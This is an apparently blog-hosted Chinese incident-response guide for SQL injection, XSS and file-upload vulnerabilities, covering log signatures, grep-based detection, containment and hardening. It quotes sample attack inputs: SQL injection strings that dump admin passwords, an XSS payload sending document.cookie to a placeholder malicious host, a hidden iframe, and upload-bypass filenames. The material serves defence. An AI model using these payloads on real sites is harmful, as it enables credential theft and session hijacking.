应急响应——Web高危漏洞应急(SQL注入+XSS跨站+文件上传)

一、通用前置说明

1.漏洞应急整体思路

  1. 定位:从日志/流量找到漏洞利用请求、攻击IP
  2. 止损:临时封禁IP、请用WAF、临时下线风险页面
  3. 排查:检查是否被植入后门、篡改页面、拖库数据
  4. 清理:删除木马、恢复篡改页面
  5. 加固:修复代码漏洞、更新配置、权限收紧

2.三类漏洞风险等级

  • SQL注入:高危,可拖库、查管理员账号、篡改数据、执行数据库命令
  • 文件上传:超高危,直接上传WebShell,拿下服务器权限
  • XSS跨站:中高危,窃取Cookie、钓鱼、劫持用户、页面挂恶意代码

二、SQL注入

1.基础原理

网站前端将用户传入的参数直接拼接进SQL语句执行,攻击者构造特殊字符/语句,篡改原有查询逻辑,非法操作数据库。

常见触发点:URL参数、搜索框、登录框、留言板等输入位置。

2.典型注入特征(日志/请求识别)

(1)特征符号&关键字

'、"、--、#、/* */

SQL关键字:union、select、and、or、sleep、benchmark、into outfile

(2)典型恶意请求示例
复制代码
#闭合原有SQL,构造永真条件
?id=1' or 1=1 --

#联合查询拖库
?id=1' union select 1,username,password from admin --

#延时注入(盲注,无回显)
?id=1' and sleep(5) --
(3)日志表现
  1. Nginx/Apache日志:URL参数包含上述关键字/符号
  2. 状态码:多为200(正常执行)、部分触发代码报错出现500
  3. 同一IP短时间大量相似请求------>自动化注入工具扫描

3.应急现场排查步骤

1.筛选攻击日志
复制代码
#Nginx筛选注入特征
grep -iE "'|union|select|and|or|sleep" /var/log/nginx/access.log

#统计攻击IP,定位源头
awk '{print $1}' access.log | sort |uniq -c | sort -nr
2.判断危害程度
  • 普通查询:仅读取页面数据,风险较低
  • 出现password、admin、user表名:疑似拖库(盗取账号密码)
  • 出现into outfile :尝试写入文件,大概率要传后门
3.检查网站页面&数据

查看前台页面是否被篡改、后台管理员账号是否被新增

4.临时应急处置
  1. 防火墙/WAF拉黑攻击IP段
  2. 临时关闭对应动态页面/接口
  3. 数据库临时收紧账号权限,禁止file、exec等高权限操作
  4. 开启WAF SQL注入防护规则
5.长期加固方案
  • 代码层:使用预编译语句,禁止直接拼接SQL
  • 输入过滤:过滤单引号、关键词、特殊字符
  • 数据库账号最小权限,网站库帐号不赋予文件读写权限

三、XSS跨站脚本攻击

1.基础原理

网站对用户输入未过滤HTML/JS代码,攻击者注入恶意脚本,当其他用户访问页面时,脚本自动执行。

分类:

存储型XSS:恶意代码存入服务器数据库/页面,所有访问者都会触发(危害最大,留言板、评论区告发)

反射型XSS:代码仅在URL中,点开恶意链接才触发(钓鱼常用)

DOM型XSS:

前端JS解析逻辑漏洞,后台日志可能无明显特征

2.典型特征(日志&流量识别)

(1)特征关键词/标签

<script>、alert()、javascript:、<frame>、document.cookie、onerror、onclick

(2)典型恶意请求示例
复制代码
#弹窗测试
?name=<script?alert('xss')</script>

#窃取Cookie
?user=<script>document.location='http://恶意IP/steal.php?c='+document.cookie</script>

#内嵌恶意页面
<iframe src="恶意地址" width=0 height=0></iframe>
(3)日志表现
  • 请求参数内包含HTML标签、JS函数
  • 存储型XSS会反复出现同一段恶意代码(多人访问触发)
  • 状态码大多为200

3.应急现场排查步骤

  • 日志筛选特征字符
复制代码
  grep -iE "script|alert|iframe|cookie" access.log
  • 定位注入位置:评论、搜索、个人资料、留言板等功能点
  • 检查页面:查看页面源码是否存在残留恶意JS/iframe代码
  • 核查影响:是否有用户Cookie被盗、账号异常登录

4.临时应急处置

  1. WAF开启XSS防护规则
  2. 临时关闭存在漏洞的评论/留言功能
  3. 清理数据库、页面中植入的恶意代码
  4. 提醒用户及时修改密码、退出登录

5.长期加固

  • 对输出内容做HTML转义(<>、&、"等符号编码)
  • 输入端过滤脚本标签、时间属性
  • 配置CSP内容安全策略,限制外部脚本加载

四、文件上传漏洞

1.基础原理

网站上传功能(头像、附件、图片)未严格校验文件后缀、文件类型,攻击者可上传PHP/JSP/ASP等脚本文件(WebShell),直接控制服务器。

是入侵网站、植入后门最常用的漏洞。

2.常见绕过手段

  • 后缀绕过:shell.php------>shell.php%00、shell.php.、shell.jpg.php
  • 类型绕过:修改HTTP请求头的Content-Type伪装成图片
  • 双后缀:shell.jpg.php

3.典型特征(日志&流量识别)

(1)行为特征
  1. 请求方式:基本都是POST请求(文件上传必须POST)
  2. 目标路径:/upload/、/file/、/attach/、/avatar/等上传目录
  3. 文件名:出现shell、hack、一句话木马相关命名,后缀为.php / .jsp / .asp
(2)日志关键词

.php、.jsp、.asp、upload、.file、POST

(3)典型恶意请求

向上传接口提交一句话木马.php,请求体包含脚本代码

4.应急现场排查步骤

  • 日志筛选上传行为

    #筛选POST上传+脚本后缀
    grep -i "POST" access.log | grep -iE ".php|.jsp|.asp"

  • 定位上传目录:进入网站upload等目录,查找陌生脚本文件

  • 查杀WebShell(配合D盾、河马工具)

  • 检查:是否已通过上传木马进一步提权、横向渗透

5.临时应急处置

  • 临时禁用上传功能,或给上传目录设置禁止执行脚本权限

Linux Nginx:配置上传目录不解析PHP

Windows IIS:设置目录执行权限为"无"

  • WAF拦截脚本后缀文件上传
  • 删除已上传恶意脚本文件
  • 封禁攻击IP

6.长期加固

  1. 严格校验文件后缀+MIME类型,只允许图片、压缩包等合法格式
  2. 上传目录独立部署,禁止脚本执行权限
  3. 上传文件重命名,杜绝脚本被直接访问执行
  4. 限制上传文件大小
相关推荐
前端后腿哥1 小时前
UNIAPPX UTS插件Widget开发完整教程(Android版)
前端·uni-app
阿部多瑞 ABU1 小时前
一次针对大语言模型的“虚构历史前提注入”红队测试实录:当AI相信了不存在的对话历史
网络·人工智能·安全
大家的林语冰1 小时前
AI 遥控代码截图,录制终端动画,定制自动化批量制图流程,解放你的双手~
前端·ai编程·trae
无聊的老谢1 小时前
Vue 3 + Leaflet 实现高性能 Web GIS 基站监控平台
前端·javascript·vue.js
之歆1 小时前
Day23_Bootstrap 前端框架完全指南:从栅格系统到组件化开发
开发语言·前端·javascript·前端框架·bootstrap·ecmascript·less
前端 贾公子1 小时前
3.响应式系统基础:从发布订阅模式的角度理解 Vue2 的数据响应式原理(上)
前端·javascript·vue.js
2501_940041741 小时前
纯前端高阶实战:涵盖3D、音频可视化与复杂交互的开发命题
前端
AIFQuant1 小时前
外汇交易平台技术栈深度解析:行情 API、清算、风控、前端一体化方案
前端·python·websocket·金融·restful
aaaffaewrerewrwer2 小时前
一个真正“完全浏览器本地运行”的 AVIF 转 WebP 在线工具(无需上传)
安全·个人开发